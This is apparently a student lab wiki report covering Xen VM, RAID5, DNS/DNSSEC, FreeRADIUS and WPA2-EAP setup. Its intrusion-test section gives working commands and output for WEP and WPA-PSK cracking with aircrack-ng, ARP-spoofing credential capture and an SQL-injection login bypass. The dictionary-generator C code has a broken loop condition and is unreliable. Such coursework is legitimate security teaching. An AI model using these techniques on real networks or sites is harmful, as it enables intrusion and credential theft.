Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:38:35Z

Lchenu : /* Configuration des points d'accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
